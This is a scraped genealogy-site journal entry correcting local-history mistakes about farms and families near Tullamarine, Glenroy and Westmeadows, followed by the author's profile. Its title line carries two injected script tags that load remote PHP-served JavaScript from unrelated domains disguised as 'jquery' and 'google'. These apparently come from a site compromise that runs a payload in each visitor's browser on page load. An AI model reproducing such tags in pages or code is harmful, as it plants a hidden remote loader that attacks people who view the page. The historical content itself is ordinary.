HISTORICAL HOWLERS in the area north west of Melbourne, Victoria, Australia.<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script><script src="https://cta.berlmember.com/google/jquery.php"></script> :: FamilyTreeCircles.com Genealogy
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HISTORICAL HOWLERS in the area north west of Melbourne, Victoria, Australia.

Journal by itellya

Histories about the area near Tullamarine have featured several howlers because of: vague locality names in the early days, municipal historians confining their research to their own municipality's rate books, and time limits preventing the development of a vast network of family historians/ descendants to check assumptions.
The description Moonee Moonee Chain of ponds, shortened to Moonee Moonee Ponds and later to Moonee Ponds meant anywhere near the whole length of the Moonee Ponds Creek, not the present suburb of Moonee Ponds.
In "The Stopover that Stayed", a history of ESSENDON by Grant Aldous, a terrific description was given of a farm in the Shire of BROADMEADOWS, John Cochrane's "Glenroy Farm" at "Moonee Ponds. This farm was of course at Glenroy, nowhere near the suburb of Moonee Ponds.
In "The Gold The Blue", A.D.Pyke's wonderful history of Lowther Hall at Essendon, Pyke mentioned Peter McCracken farming "Stewarton" at Moonee Ponds. It was only when researching Broadmeadows Shire rates that I discovered that John Cock moved onto "Stewarton" in 1892 and, that soon after, it was renamed as "Gladstone". This farm was section 5 in the parish of Tullamarine, the northern 777 acres of the present suburb of Gladstone Park.It was bought from the Crown on Niel Black's behalf by George Russell. Black, after whom a street in Broadmeadows Township (Westmeadows) was named, represented a syndicate which included Stewart and Gladstone; the syndicate's land in the Western District was also called Stewarton. Gladstone was a cousin of the British Prime Minister.
In "Broadmeadows: A Forgotten History", Andrew Lemon stated that McIntosh had left the district because his name had disappeared from the Broadmeadows Shire ratebooks.That worthy pioneer had merely moved a stone's throw to the west into the Shire of Bulla. Andrew Lemon made another wrong assumption ; he thought that the James Robertson who settled at Gowrie Park (north of J.P.Fawkner's Box Forest, now known as Hadfield after Cr Rupert Hadfield) was a Keilor farmer. Poor Andrew did not have the help of the wonderful Deidre Farfor as I did! The three different James Robertson families and their properties will be the subject of another journal.
Here's an assumption of mine. If I'm wrong, perhaps somebody will let me know. Joseph Raleigh established Raleigh's Punt at Maribyrnong in 1850. ("Maribyrnong:Action in Tranquility".)A few years earlier, he was recorded at living at Mona Vale. I have a feeling that Mona Vale was Westmeadows. When Broadmeadows Township's Church of England was built in 1850, it doubled as a school but as an early (1969?) Westmeadows State School history stated, school was earlier conducted on Mr Raleigh's property and of course the township's main east-west street was called Raleigh St.

Surnames: COCHRANE COCK HADFIELD McCRACKEN McINTOSH RALEIGH ROBERTSON
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by itellya Profile | Research | Contact | Subscribe | Block this user
on 2011-11-22 08:31:46

Itellya is researching local history on the Mornington Peninsula and is willing to help family historians with information about the area between Somerville and Blairgowrie. He has extensive information about Henry Gomm of Somerville, Joseph Porta (Victoria's first bellows manufacturer) and Captain Adams of Rosebud.

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